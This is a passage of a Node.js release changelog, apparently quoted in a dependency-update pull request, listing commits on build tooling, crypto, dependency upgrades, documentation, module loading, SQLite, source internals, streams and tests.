-   \[[`3077f6a5b7`](https://redirect.github.com/nodejs/node/commit/3077f6a5b7)] - **build**: support up to python 3.13 in android-configure (Aviv Keller) [#&#8203;54529](https://redirect.github.com/nodejs/node/pull/54529)
-   \[[`a929c71281`](https://redirect.github.com/nodejs/node/commit/a929c71281)] - **build**: add the option to generate compile_commands.json in vcbuild.bat (Segev Finer) [#&#8203;52279](https://redirect.github.com/nodejs/node/pull/52279)
-   \[[`a81f368b99`](https://redirect.github.com/nodejs/node/commit/a81f368b99)] - **build**: fix eslint makefile target (Aviv Keller) [#&#8203;54999](https://redirect.github.com/nodejs/node/pull/54999)
-   \[[`c8b7a645ae`](https://redirect.github.com/nodejs/node/commit/c8b7a645ae)] - ***Revert*** "**build**: upgrade clang-format to v18" (Chengzhong Wu) [#&#8203;54994](https://redirect.github.com/nodejs/node/pull/54994)
-   \[[`7861ca5dc3`](https://redirect.github.com/nodejs/node/commit/7861ca5dc3)] - **build**: print `Running XYZ linter...` for py and yml (Aviv Keller) [#&#8203;54386](https://redirect.github.com/nodejs/node/pull/54386)
-   \[[`aaea3944e5`](https://redirect.github.com/nodejs/node/commit/aaea3944e5)] - **build,win**: add winget config to set up env (Hüseyin Açacak) [#&#8203;54729](https://redirect.github.com/nodejs/node/pull/54729)
-   \[[`30d47220bb`](https://redirect.github.com/nodejs/node/commit/30d47220bb)] - **build,win**: float VS 17.11 compilation patch (Stefan Stojanovic) [#&#8203;54970](https://redirect.github.com/nodejs/node/pull/54970)
-   \[[`048a1ab350`](https://redirect.github.com/nodejs/node/commit/048a1ab350)] - **cli**: ensure --run has proper pwd (Yagiz Nizipli) [#&#8203;54949](https://redirect.github.com/nodejs/node/pull/54949)
-   \[[`a97841ee10`](https://redirect.github.com/nodejs/node/commit/a97841ee10)] - **cli**: fix spacing for port range error (Aviv Keller) [#&#8203;54495](https://redirect.github.com/nodejs/node/pull/54495)
-   \[[`1dcc5eedff`](https://redirect.github.com/nodejs/node/commit/1dcc5eedff)] - ***Revert*** "**console**: colorize console error and warn" (Aviv Keller) [#&#8203;54677](https://redirect.github.com/nodejs/node/pull/54677)
-   \[[`f0b441230a`](https://redirect.github.com/nodejs/node/commit/f0b441230a)] - **(SEMVER-MINOR)** **crypto**: add KeyObject.prototype.toCryptoKey (Filip Skokan) [#&#8203;55262](https://redirect.github.com/nodejs/node/pull/55262)
-   \[[`d3f8c35320`](https://redirect.github.com/nodejs/node/commit/d3f8c35320)] - **crypto**: ensure invalid SubtleCrypto JWK data import results in DataError (Filip Skokan) [#&#8203;55041](https://redirect.github.com/nodejs/node/pull/55041)
-   \[[`349d2ed07b`](https://redirect.github.com/nodejs/node/commit/349d2ed07b)] - **(SEMVER-MINOR)** **crypto**: add Date fields for `validTo` and `validFrom` (Andrew Moon) [#&#8203;54159](https://redirect.github.com/nodejs/node/pull/54159)
-   \[[`34ca36a397`](https://redirect.github.com/nodejs/node/commit/34ca36a397)] - **deps**: update undici to 6.20.0 (Node.js GitHub Bot) [#&#8203;55329](https://redirect.github.com/nodejs/node/pull/55329)
-   \[[`f703652e84`](https://redirect.github.com/nodejs/node/commit/f703652e84)] - **deps**: upgrade npm to 10.9.0 (npm team) [#&#8203;55255](https://redirect.github.com/nodejs/node/pull/55255)
-   \[[`b533a51856`](https://redirect.github.com/nodejs/node/commit/b533a51856)] - **deps**: V8: backport [`0d5d6e7`](https://redirect.github.com/nodejs/node/commit/0d5d6e71bbb0) (Yagiz Nizipli) [#&#8203;55115](https://redirect.github.com/nodejs/node/pull/55115)
-   \[[`2f65b3fd07`](https://redirect.github.com/nodejs/node/commit/2f65b3fd07)] - **deps**: V8: partially cherry-pick [`8953e49`](https://redirect.github.com/nodejs/node/commit/8953e49478) (Ben Noordhuis) [#&#8203;55274](https://redirect.github.com/nodejs/node/pull/55274)
-   \[[`bb9f77d53a`](https://redirect.github.com/nodejs/node/commit/bb9f77d53a)] - **deps**: update archs files for openssl-3.0.15+quic1 (Node.js GitHub Bot) [#&#8203;55184](https://redirect.github.com/nodejs/node/pull/55184)
-   \[[`63d51c82fe`](https://redirect.github.com/nodejs/node/commit/63d51c82fe)] - **deps**: upgrade openssl sources to quictls/openssl-3.0.15+quic1 (Node.js GitHub Bot) [#&#8203;55184](https://redirect.github.com/nodejs/node/pull/55184)
-   \[[`29e6484f3c`](https://redirect.github.com/nodejs/node/commit/29e6484f3c)] - **deps**: update archs files for openssl-3.0.14+quic1 (Node.js GitHub Bot) [#&#8203;54336](https://redirect.github.com/nodejs/node/pull/54336)
-   \[[`283927ec88`](https://redirect.github.com/nodejs/node/commit/283927ec88)] - **deps**: upgrade openssl sources to quictls/openssl-3.0.14+quic1 (Node.js GitHub Bot) [#&#8203;54336](https://redirect.github.com/nodejs/node/pull/54336)
-   \[[`b0636a1e88`](https://redirect.github.com/nodejs/node/commit/b0636a1e88)] - **deps**: update timezone to 2024b (Node.js GitHub Bot) [#&#8203;55056](https://redirect.github.com/nodejs/node/pull/55056)
-   \[[`173464d76f`](https://redirect.github.com/nodejs/node/commit/173464d76f)] - **deps**: update acorn-walk to 8.3.4 (Node.js GitHub Bot) [#&#8203;54950](https://redirect.github.com/nodejs/node/pull/54950)
-   \[[`0d4536543b`](https://redirect.github.com/nodejs/node/commit/0d4536543b)] - **deps**: update corepack to 0.29.4 (Node.js GitHub Bot) [#&#8203;54845](https://redirect.github.com/nodejs/node/pull/54845)
-   \[[`1de5512383`](https://redirect.github.com/nodejs/node/commit/1de5512383)] - **deps**: V8: cherry-pick [`217457d`](https://redirect.github.com/nodejs/node/commit/217457d0a560) (Michaël Zasso) [#&#8203;54883](https://redirect.github.com/nodejs/node/pull/54883)
-   \[[`1921d7a37c`](https://redirect.github.com/nodejs/node/commit/1921d7a37c)] - **doc**: add release key for aduh95 (Antoine du Hamel) [#&#8203;55349](https://redirect.github.com/nodejs/node/pull/55349)
-   \[[`d8e42be1b2`](https://redirect.github.com/nodejs/node/commit/d8e42be1b2)] - **doc**: move `ERR_INVALID_PERFORMANCE_MARK` to legacy errors (Antoine du Hamel) [#&#8203;55247](https://redirect.github.com/nodejs/node/pull/55247)
-   \[[`5ea8aa183c`](https://redirect.github.com/nodejs/node/commit/5ea8aa183c)] - **doc**: fix Markdown linter (Antoine du Hamel) [#&#8203;55344](https://redirect.github.com/nodejs/node/pull/55344)
-   \[[`873588888d`](https://redirect.github.com/nodejs/node/commit/873588888d)] - ***Revert*** "**doc**: update test context.assert" (Antoine du Hamel) [#&#8203;55344](https://redirect.github.com/nodejs/node/pull/55344)
-   \[[`707e7cc702`](https://redirect.github.com/nodejs/node/commit/707e7cc702)] - **doc**: add pmarchini to collaborators (Pietro Marchini) [#&#8203;55331](https://redirect.github.com/nodejs/node/pull/55331)
-   \[[`b03272b9a1`](https://redirect.github.com/nodejs/node/commit/b03272b9a1)] - **doc**: fix `events.once()` example using `AbortSignal` (Ivo Janssen) [#&#8203;55144](https://redirect.github.com/nodejs/node/pull/55144)
-   \[[`85b765953d`](https://redirect.github.com/nodejs/node/commit/85b765953d)] - **doc**: add onboarding details for ambassador program (Marco Ippolito) [#&#8203;55284](https://redirect.github.com/nodejs/node/pull/55284)
-   \[[`5d41b8a8b0`](https://redirect.github.com/nodejs/node/commit/5d41b8a8b0)] - **doc**: update `require(ESM)` history and stability status (Antoine du Hamel) [#&#8203;55199](https://redirect.github.com/nodejs/node/pull/55199)
-   \[[`195df659e9`](https://redirect.github.com/nodejs/node/commit/195df659e9)] - **doc**: move `ERR_NAPI_TSFN_START/STOP_IDLE_LOOP` to legacy errors (Antoine du Hamel) [#&#8203;55248](https://redirect.github.com/nodejs/node/pull/55248)
-   \[[`8eae0d3f3c`](https://redirect.github.com/nodejs/node/commit/8eae0d3f3c)] - **doc**: fix initial default value of autoSelectFamily (Ihor Rohovets) [#&#8203;55245](https://redirect.github.com/nodejs/node/pull/55245)
-   \[[`297cb0da5a`](https://redirect.github.com/nodejs/node/commit/297cb0da5a)] - **doc**: tweak onboarding instructions (Michael Dawson) [#&#8203;55212](https://redirect.github.com/nodejs/node/pull/55212)
-   \[[`7ddbfe8c2b`](https://redirect.github.com/nodejs/node/commit/7ddbfe8c2b)] - **doc**: update test context.assert (Pietro Marchini) [#&#8203;55186](https://redirect.github.com/nodejs/node/pull/55186)
-   \[[`8a57550d20`](https://redirect.github.com/nodejs/node/commit/8a57550d20)] - **doc**: fix unordered error anchors (Antoine du Hamel) [#&#8203;55242](https://redirect.github.com/nodejs/node/pull/55242)
-   \[[`286ea4ed3d`](https://redirect.github.com/nodejs/node/commit/286ea4ed3d)] - **doc**: mention addons to experimental permission (Rafael Gonzaga) [#&#8203;55166](https://redirect.github.com/nodejs/node/pull/55166)
-   \[[`7c9ceabf38`](https://redirect.github.com/nodejs/node/commit/7c9ceabf38)] - **doc**: use correct dash in stability status (Antoine du Hamel) [#&#8203;55200](https://redirect.github.com/nodejs/node/pull/55200)
-   \[[`781ffd8ba1`](https://redirect.github.com/nodejs/node/commit/781ffd8ba1)] - **doc**: fix link in `test/README.md` (Livia Medeiros) [#&#8203;55165](https://redirect.github.com/nodejs/node/pull/55165)
-   \[[`61b9ed3bf2`](https://redirect.github.com/nodejs/node/commit/61b9ed3bf2)] - **doc**: add esm examples to node:net (Alfredo González) [#&#8203;55134](https://redirect.github.com/nodejs/node/pull/55134)
-   \[[`bb3499038d`](https://redirect.github.com/nodejs/node/commit/bb3499038d)] - **doc**: remove outdated https import reference (Edigleysson Silva (Edy)) [#&#8203;55111](https://redirect.github.com/nodejs/node/pull/55111)
-   \[[`6cc49518c7`](https://redirect.github.com/nodejs/node/commit/6cc49518c7)] - **doc**: move the YAML changes element (sendoru) [#&#8203;55112](https://redirect.github.com/nodejs/node/pull/55112)
-   \[[`b12b4a23e4`](https://redirect.github.com/nodejs/node/commit/b12b4a23e4)] - **doc**: remove random horizontal separators in `process.md` (Antoine du Hamel) [#&#8203;55149](https://redirect.github.com/nodejs/node/pull/55149)
-   \[[`7186ede388`](https://redirect.github.com/nodejs/node/commit/7186ede388)] - **doc**: put --env-file-if-exists=config right under --env-file=config (Edigleysson Silva (Edy)) [#&#8203;55131](https://redirect.github.com/nodejs/node/pull/55131)
-   \[[`8ad0dfff10`](https://redirect.github.com/nodejs/node/commit/8ad0dfff10)] - **doc**: fix the require resolve algorithm in `modules.md` (chirsz) [#&#8203;55117](https://redirect.github.com/nodejs/node/pull/55117)
-   \[[`fd40f0873f`](https://redirect.github.com/nodejs/node/commit/fd40f0873f)] - **doc**: update style guide (Aviv Keller) [#&#8203;53223](https://redirect.github.com/nodejs/node/pull/53223)
-   \[[`12c9d9780f`](https://redirect.github.com/nodejs/node/commit/12c9d9780f)] - **doc**: add missing `:` to `run()`'s `globPatterns` (Aviv Keller) [#&#8203;55135](https://redirect.github.com/nodejs/node/pull/55135)
-   \[[`73b05cfb04`](https://redirect.github.com/nodejs/node/commit/73b05cfb04)] - **doc**: correct `cleanup` option in stream.(promises.)finished (René) [#&#8203;55043](https://redirect.github.com/nodejs/node/pull/55043)
-   \[[`bebc95ed58`](https://redirect.github.com/nodejs/node/commit/bebc95ed58)] - **doc**: add abmusse to collaborators (Abdirahim Musse) [#&#8203;55086](https://redirect.github.com/nodejs/node/pull/55086)
-   \[[`a97c80c6ae`](https://redirect.github.com/nodejs/node/commit/a97c80c6ae)] - **doc**: add note about `--expose-internals` (Aviv Keller) [#&#8203;52861](https://redirect.github.com/nodejs/node/pull/52861)
-   \[[`89aeae63bd`](https://redirect.github.com/nodejs/node/commit/89aeae63bd)] - **doc**: remove `parseREPLKeyword` from REPL documentation (Aviv Keller) [#&#8203;54749](https://redirect.github.com/nodejs/node/pull/54749)
-   \[[`b3e0490b8b`](https://redirect.github.com/nodejs/node/commit/b3e0490b8b)] - **doc**: add missing EventSource docs to globals (Matthew Aitken) [#&#8203;55022](https://redirect.github.com/nodejs/node/pull/55022)
-   \[[`516c775fa5`](https://redirect.github.com/nodejs/node/commit/516c775fa5)] - **doc**: cover --experimental-test-module-mocks flag (Jonathan Sharpe) [#&#8203;55021](https://redirect.github.com/nodejs/node/pull/55021)
-   \[[`4244f1a269`](https://redirect.github.com/nodejs/node/commit/4244f1a269)] - **doc**: add more details for localStorage and sessionStorage (Batuhan Tomo) [#&#8203;53881](https://redirect.github.com/nodejs/node/pull/53881)
-   \[[`39a728c2e3`](https://redirect.github.com/nodejs/node/commit/39a728c2e3)] - **doc**: change backporting guide with updated info (Aviv Keller) [#&#8203;53746](https://redirect.github.com/nodejs/node/pull/53746)
-   \[[`3a5fe95ad7`](https://redirect.github.com/nodejs/node/commit/3a5fe95ad7)] - **doc**: add missing definitions to `internal-api.md` (Aviv Keller) [#&#8203;53303](https://redirect.github.com/nodejs/node/pull/53303)
-   \[[`f2d74a26a3`](https://redirect.github.com/nodejs/node/commit/f2d74a26a3)] - **doc**: fix history of `process.features` (Antoine du Hamel) [#&#8203;54982](https://redirect.github.com/nodejs/node/pull/54982)
-   \[[`29866ca438`](https://redirect.github.com/nodejs/node/commit/29866ca438)] - **doc**: fix typo callsite.lineNumber (Rafael Gonzaga) [#&#8203;54969](https://redirect.github.com/nodejs/node/pull/54969)
-   \[[`c1d73abd29`](https://redirect.github.com/nodejs/node/commit/c1d73abd29)] - **doc**: update documentation for externalizing deps (Michael Dawson) [#&#8203;54792](https://redirect.github.com/nodejs/node/pull/54792)
-   \[[`eca9668231`](https://redirect.github.com/nodejs/node/commit/eca9668231)] - **doc**: add documentation for process.features (Marco Ippolito) [#&#8203;54897](https://redirect.github.com/nodejs/node/pull/54897)
-   \[[`0fb446e207`](https://redirect.github.com/nodejs/node/commit/0fb446e207)] - **esm**: do not interpret `"main"` as a URL (Antoine du Hamel) [#&#8203;55003](https://redirect.github.com/nodejs/node/pull/55003)
-   \[[`be2fe4b249`](https://redirect.github.com/nodejs/node/commit/be2fe4b249)] - **events**: allow null/undefined eventInitDict (Matthew Aitken) [#&#8203;54643](https://redirect.github.com/nodejs/node/pull/54643)
-   \[[`cb47e169a0`](https://redirect.github.com/nodejs/node/commit/cb47e169a0)] - **events**: return `currentTarget` when dispatching (Matthew Aitken) [#&#8203;54642](https://redirect.github.com/nodejs/node/pull/54642)
-   \[[`dbfae3fe14`](https://redirect.github.com/nodejs/node/commit/dbfae3fe14)] - **fs**: acknowledge `signal` option in `filehandle.createReadStream()` (Livia Medeiros) [#&#8203;55148](https://redirect.github.com/nodejs/node/pull/55148)
-   \[[`1c94725c07`](https://redirect.github.com/nodejs/node/commit/1c94725c07)] - **fs**: check subdir correctly in cpSync (Jason Zhang) [#&#8203;55033](https://redirect.github.com/nodejs/node/pull/55033)
-   \[[`79ffefab2a`](https://redirect.github.com/nodejs/node/commit/79ffefab2a)] - **fs**: convert to u8 string for filesystem path (Jason Zhang) [#&#8203;54653](https://redirect.github.com/nodejs/node/pull/54653)
-   \[[`914db60159`](https://redirect.github.com/nodejs/node/commit/914db60159)] - **(SEMVER-MINOR)** **http2**: expose nghttp2\_option_set_stream_reset_rate_limit as an option (Maël Nison) [#&#8203;54875](https://redirect.github.com/nodejs/node/pull/54875)
-   \[[`08b5e6c794`](https://redirect.github.com/nodejs/node/commit/08b5e6c794)] - **lib**: fix module print timing when specifier includes `"` (Antoine du Hamel) [#&#8203;55150](https://redirect.github.com/nodejs/node/pull/55150)
-   \[[`bf7d7aef4b`](https://redirect.github.com/nodejs/node/commit/bf7d7aef4b)] - **lib**: fix typos (Nathan Baulch) [#&#8203;55065](https://redirect.github.com/nodejs/node/pull/55065)
-   \[[`d803355d92`](https://redirect.github.com/nodejs/node/commit/d803355d92)] - **lib**: prefer optional chaining (Aviv Keller) [#&#8203;55045](https://redirect.github.com/nodejs/node/pull/55045)
-   \[[`d4873bcd6d`](https://redirect.github.com/nodejs/node/commit/d4873bcd6d)] - **lib**: remove lib/internal/idna.js (Yagiz Nizipli) [#&#8203;55050](https://redirect.github.com/nodejs/node/pull/55050)
-   \[[`f7c3b03759`](https://redirect.github.com/nodejs/node/commit/f7c3b03759)] - **(SEMVER-MINOR)** **lib**: propagate aborted state to dependent signals before firing events (jazelly) [#&#8203;54826](https://redirect.github.com/nodejs/node/pull/54826)
-   \[[`397ae418db`](https://redirect.github.com/nodejs/node/commit/397ae418db)] - **lib**: the REPL should survive deletion of Array.prototype methods (Jordan Harband) [#&#8203;31457](https://redirect.github.com/nodejs/node/pull/31457)
-   \[[`566179c9ec`](https://redirect.github.com/nodejs/node/commit/566179c9ec)] - **lib, tools**: remove duplicate requires (Aviv Keller) [#&#8203;54987](https://redirect.github.com/nodejs/node/pull/54987)
-   \[[`c9a1bbbef2`](https://redirect.github.com/nodejs/node/commit/c9a1bbbef2)] - **meta**: move one or more collaborators to emeritus (Node.js GitHub Bot) [#&#8203;55300](https://redirect.github.com/nodejs/node/pull/55300)
-   \[[`d7b73bbd1d`](https://redirect.github.com/nodejs/node/commit/d7b73bbd1d)] - **meta**: bump mozilla-actions/sccache-action from 0.0.5 to 0.0.6 (dependabot\[bot]) [#&#8203;55225](https://redirect.github.com/nodejs/node/pull/55225)
-   \[[`0f4269faa9`](https://redirect.github.com/nodejs/node/commit/0f4269faa9)] - **meta**: bump actions/checkout from 4.1.7 to 4.2.0 (dependabot\[bot]) [#&#8203;55224](https://redirect.github.com/nodejs/node/pull/55224)
-   \[[`33be1990d8`](https://redirect.github.com/nodejs/node/commit/33be1990d8)] - **meta**: bump actions/setup-node from 4.0.3 to 4.0.4 (dependabot\[bot]) [#&#8203;55223](https://redirect.github.com/nodejs/node/pull/55223)
-   \[[`f5b4ae5bf8`](https://redirect.github.com/nodejs/node/commit/f5b4ae5bf8)] - **meta**: bump peter-evans/create-pull-request from 7.0.1 to 7.0.5 (dependabot\[bot]) [#&#8203;55219](https://redirect.github.com/nodejs/node/pull/55219)
-   \[[`1985d9016e`](https://redirect.github.com/nodejs/node/commit/1985d9016e)] - **meta**: add mailmap entry for abmusse (Abdirahim Musse) [#&#8203;55182](https://redirect.github.com/nodejs/node/pull/55182)
-   \[[`93b215d5e6`](https://redirect.github.com/nodejs/node/commit/93b215d5e6)] - **meta**: add more information about nightly releases (Aviv Keller) [#&#8203;55084](https://redirect.github.com/nodejs/node/pull/55084)
-   \[[`aeae5973c3`](https://redirect.github.com/nodejs/node/commit/aeae5973c3)] - **meta**: add `linux` to OS labels in collaborator guide (Aviv Keller) [#&#8203;54986](https://redirect.github.com/nodejs/node/pull/54986)
-   \[[`4fb2c3baa8`](https://redirect.github.com/nodejs/node/commit/4fb2c3baa8)] - **meta**: remove never-used workflow trigger (Aviv Keller) [#&#8203;54983](https://redirect.github.com/nodejs/node/pull/54983)
-   \[[`e1f36d0da8`](https://redirect.github.com/nodejs/node/commit/e1f36d0da8)] - **meta**: remove unneeded ignore rules from ruff (Aviv Keller) [#&#8203;54360](https://redirect.github.com/nodejs/node/pull/54360)
-   \[[`ce0d0c1ec8`](https://redirect.github.com/nodejs/node/commit/ce0d0c1ec8)] - **meta**: remove `build-windows.yml` (Aviv Keller) [#&#8203;54662](https://redirect.github.com/nodejs/node/pull/54662)
-   \[[`ca67c97f33`](https://redirect.github.com/nodejs/node/commit/ca67c97f33)] - **meta**: add links to alternative issue trackers (Aviv Keller) [#&#8203;54401](https://redirect.github.com/nodejs/node/pull/54401)
-   \[[`6fcac73738`](https://redirect.github.com/nodejs/node/commit/6fcac73738)] - **module**: wrap swc error in ERR_INVALID_TYPESCRIPT_SYNTAX (Marco Ippolito) [#&#8203;55316](https://redirect.github.com/nodejs/node/pull/55316)
-   \[[`0412ac8bf3`](https://redirect.github.com/nodejs/node/commit/0412ac8bf3)] - **module**: add internal type def for `flushCompileCache` (Jacob Smith) [#&#8203;55226](https://redirect.github.com/nodejs/node/pull/55226)
-   \[[`32261fc98a`](https://redirect.github.com/nodejs/node/commit/32261fc98a)] - **(SEMVER-MINOR)** **module**: support loading entrypoint as url (RedYetiDev) [#&#8203;54933](https://redirect.github.com/nodejs/node/pull/54933)
-   \[[`111261e245`](https://redirect.github.com/nodejs/node/commit/111261e245)] - **(SEMVER-MINOR)** **module**: implement the "module-sync" exports condition (Joyee Cheung) [#&#8203;54648](https://redirect.github.com/nodejs/node/pull/54648)
-   \[[`b6fc9adf5b`](https://redirect.github.com/nodejs/node/commit/b6fc9adf5b)] - **module**: remove duplicated import (Aviv Keller) [#&#8203;54942](https://redirect.github.com/nodejs/node/pull/54942)
-   \[[`06957ff355`](https://redirect.github.com/nodejs/node/commit/06957ff355)] - **(SEMVER-MINOR)** **module**: implement flushCompileCache() (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`2dcf70c347`](https://redirect.github.com/nodejs/node/commit/2dcf70c347)] - **(SEMVER-MINOR)** **module**: throw when invalid argument is passed to enableCompileCache() (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`f9b19d7c44`](https://redirect.github.com/nodejs/node/commit/f9b19d7c44)] - **(SEMVER-MINOR)** **module**: write compile cache to temporary file and then rename it (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`1d169764db`](https://redirect.github.com/nodejs/node/commit/1d169764db)] - **module**: report unfinished TLA in ambiguous modules (Antoine du Hamel) [#&#8203;54980](https://redirect.github.com/nodejs/node/pull/54980)
-   \[[`c89c93496d`](https://redirect.github.com/nodejs/node/commit/c89c93496d)] - **module**: refator ESM loader for adding future synchronous hooks (Joyee Cheung) [#&#8203;54769](https://redirect.github.com/nodejs/node/pull/54769)
-   \[[`108cef22e6`](https://redirect.github.com/nodejs/node/commit/108cef22e6)] - **module**: remove bogus assertion in CJS entrypoint handling with --import (Joyee Cheung) [#&#8203;54592](https://redirect.github.com/nodejs/node/pull/54592)
-   \[[`67ecb10c78`](https://redirect.github.com/nodejs/node/commit/67ecb10c78)] - **module**: fix discrepancy between .ts and .js (Marco Ippolito) [#&#8203;54461](https://redirect.github.com/nodejs/node/pull/54461)
-   \[[`3300d5990f`](https://redirect.github.com/nodejs/node/commit/3300d5990f)] - **os**: use const with early return for path (Trivikram Kamat) [#&#8203;54959](https://redirect.github.com/nodejs/node/pull/54959)
-   \[[`90cce6ec7c`](https://redirect.github.com/nodejs/node/commit/90cce6ec7c)] - **path**: remove repetitive conditional operator in `posix.resolve` (Wiyeong Seo) [#&#8203;54835](https://redirect.github.com/nodejs/node/pull/54835)
-   \[[`cbfc980f89`](https://redirect.github.com/nodejs/node/commit/cbfc980f89)] - **perf_hooks**: add missing type argument to getEntriesByName (Luke Taher) [#&#8203;54767](https://redirect.github.com/nodejs/node/pull/54767)
-   \[[`e95163b170`](https://redirect.github.com/nodejs/node/commit/e95163b170)] - **(SEMVER-MINOR)** **process**: add process.features.require_module (Joyee Cheung) [#&#8203;55241](https://redirect.github.com/nodejs/node/pull/55241)
-   \[[`0655d3a384`](https://redirect.github.com/nodejs/node/commit/0655d3a384)] - **process**: fix `process.features.typescript` when Amaro is unavailable (Antoine du Hamel) [#&#8203;55323](https://redirect.github.com/nodejs/node/pull/55323)
-   \[[`4050f68e5d`](https://redirect.github.com/nodejs/node/commit/4050f68e5d)] - **(SEMVER-MINOR)** **process**: add `process.features.typescript` (Aviv Keller) [#&#8203;54295](https://redirect.github.com/nodejs/node/pull/54295)
-   \[[`75073c50ae`](https://redirect.github.com/nodejs/node/commit/75073c50ae)] - **quic**: start adding in the internal quic js api (James M Snell) [#&#8203;53256](https://redirect.github.com/nodejs/node/pull/53256)
-   \[[`538b1eb5b0`](https://redirect.github.com/nodejs/node/commit/538b1eb5b0)] - **repl**: catch `\v` and `\r` in new-line detection (Aviv Keller) [#&#8203;54512](https://redirect.github.com/nodejs/node/pull/54512)
-   \[[`57a9d3f15e`](https://redirect.github.com/nodejs/node/commit/57a9d3f15e)] - **sqlite**: disable DQS misfeature by default (Tobias Nießen) [#&#8203;55297](https://redirect.github.com/nodejs/node/pull/55297)
-   \[[`c126543374`](https://redirect.github.com/nodejs/node/commit/c126543374)] - **sqlite**: make sourceSQL and expandedSQL string-valued properties (Tobias Nießen) [#&#8203;54721](https://redirect.github.com/nodejs/node/pull/54721)
-   \[[`67f5f46c56`](https://redirect.github.com/nodejs/node/commit/67f5f46c56)] - **sqlite**: enable foreign key constraints by default (Tobias Nießen) [#&#8203;54777](https://redirect.github.com/nodejs/node/pull/54777)
-   \[[`09999491bf`](https://redirect.github.com/nodejs/node/commit/09999491bf)] - **src**: handle errors correctly in webstorage (Michaël Zasso) [#&#8203;54544](https://redirect.github.com/nodejs/node/pull/54544)
-   \[[`295c17c4ea`](https://redirect.github.com/nodejs/node/commit/295c17c4ea)] - **src**: make minor tweaks to quic c++ for c++20 (James M Snell) [#&#8203;53256](https://redirect.github.com/nodejs/node/pull/53256)
-   \[[`b1d47d06f9`](https://redirect.github.com/nodejs/node/commit/b1d47d06f9)] - **src**: apply getCallSite optimization (RafaelGSS) [#&#8203;55174](https://redirect.github.com/nodejs/node/pull/55174)
-   \[[`d6bcc44829`](https://redirect.github.com/nodejs/node/commit/d6bcc44829)] - **src**: modernize likely/unlikely hints (Yagiz Nizipli) [#&#8203;55155](https://redirect.github.com/nodejs/node/pull/55155)
-   \[[`1af5ad61ca`](https://redirect.github.com/nodejs/node/commit/1af5ad61ca)] - **src**: fixup Error.stackTraceLimit during snapshot building (Joyee Cheung) [#&#8203;55121](https://redirect.github.com/nodejs/node/pull/55121)
-   \[[`b229083235`](https://redirect.github.com/nodejs/node/commit/b229083235)] - **src**: parse --stack-trace-limit and use it in --trace-\* flags (Joyee Cheung) [#&#8203;55121](https://redirect.github.com/nodejs/node/pull/55121)
-   \[[`942ad54e08`](https://redirect.github.com/nodejs/node/commit/942ad54e08)] - **src**: move more key handling to ncrypto (James M Snell) [#&#8203;55108](https://redirect.github.com/nodejs/node/pull/55108)
-   \[[`0bb5584288`](https://redirect.github.com/nodejs/node/commit/0bb5584288)] - **src**: add receiver to fast api callback methods (Carlos Espa) [#&#8203;54408](https://redirect.github.com/nodejs/node/pull/54408)
-   \[[`706e9611f0`](https://redirect.github.com/nodejs/node/commit/706e9611f0)] - **src**: fix typos (Nathan Baulch) [#&#8203;55064](https://redirect.github.com/nodejs/node/pull/55064)
-   \[[`a96d5d1bcc`](https://redirect.github.com/nodejs/node/commit/a96d5d1bcc)] - **src**: move more stuff over to use Maybe\<void> (James M Snell) [#&#8203;54831](https://redirect.github.com/nodejs/node/pull/54831)
-   \[[`ee0a98b5a2`](https://redirect.github.com/nodejs/node/commit/ee0a98b5a2)] - **src**: decode native error messages as UTF-8 (Joyee Cheung) [#&#8203;55024](https://redirect.github.com/nodejs/node/pull/55024)
-   \[[`1fc8edecf8`](https://redirect.github.com/nodejs/node/commit/1fc8edecf8)] - **src**: update clang-tidy and focus on modernization (Yagiz Nizipli) [#&#8203;53757](https://redirect.github.com/nodejs/node/pull/53757)
-   \[[`3a1485a1a3`](https://redirect.github.com/nodejs/node/commit/3a1485a1a3)] - **src**: move evp stuff to ncrypto (James M Snell) [#&#8203;54911](https://redirect.github.com/nodejs/node/pull/54911)
-   \[[`9ae80e1e4d`](https://redirect.github.com/nodejs/node/commit/9ae80e1e4d)] - **src**: revert filesystem::path changes (Yagiz Nizipli) [#&#8203;55015](https://redirect.github.com/nodejs/node/pull/55015)
-   \[[`465d05018a`](https://redirect.github.com/nodejs/node/commit/465d05018a)] - **src**: mark node --run as stable (Yagiz Nizipli) [#&#8203;53763](https://redirect.github.com/nodejs/node/pull/53763)
-   \[[`ef546c872c`](https://redirect.github.com/nodejs/node/commit/ef546c872c)] - **src**: cleanup per env handles directly without a list (Chengzhong Wu) [#&#8203;54993](https://redirect.github.com/nodejs/node/pull/54993)
-   \[[`0876f78411`](https://redirect.github.com/nodejs/node/commit/0876f78411)] - **src**: add unistd.h import if node posix credentials is defined (Jonas) [#&#8203;54528](https://redirect.github.com/nodejs/node/pull/54528)
-   \[[`284db53866`](https://redirect.github.com/nodejs/node/commit/284db53866)] - **src**: remove duplicate code setting AF_INET (He Yang) [#&#8203;54939](https://redirect.github.com/nodejs/node/pull/54939)
-   \[[`f332c4c4fc`](https://redirect.github.com/nodejs/node/commit/f332c4c4fc)] - **src**: use `Maybe<void>` where bool isn't needed (Michaël Zasso) [#&#8203;54575](https://redirect.github.com/nodejs/node/pull/54575)
-   \[[`c7ed2ff920`](https://redirect.github.com/nodejs/node/commit/c7ed2ff920)] - **stream**: handle undefined chunks correctly in decode stream (devstone) [#&#8203;55153](https://redirect.github.com/nodejs/node/pull/55153)
-   \[[`a9675a0cbc`](https://redirect.github.com/nodejs/node/commit/a9675a0cbc)] - **stream**: treat null asyncIterator as undefined (Jason Zhang) [#&#8203;55119](https://redirect.github.com/nodejs/node/pull/55119)
-   \[[`bf69ae1406`](https://redirect.github.com/nodejs/node/commit/bf69ae1406)] - **stream**: set stream prototype to closest transferable superclass (Jason Zhang) [#&#8203;55067](https://redirect.github.com/nodejs/node/pull/55067)
-   \[[`3273707a3a`](https://redirect.github.com/nodejs/node/commit/3273707a3a)] - **test**: fix tests when Amaro is unavailable (Richard Lau) [#&#8203;55320](https://redirect.github.com/nodejs/node/pull/55320)
-   \[[`ff3cc3b2ab`](https://redirect.github.com/nodejs/node/commit/ff3cc3b2ab)] - **test**: use more informative errors in `test-runner-cli` (Antoine du Hamel) [#&#8203;55321](https://redirect.github.com/nodejs/node/pull/55321)
-   \[[`17d2f9de6d`](https://redirect.github.com/nodejs/node/commit/17d2f9de6d)] - **test**: make `test-loaders-workers-spawned` less flaky (Antoine du Hamel) [#&#8203;55172](https://redirect.github.com/nodejs/node/pull/55172)
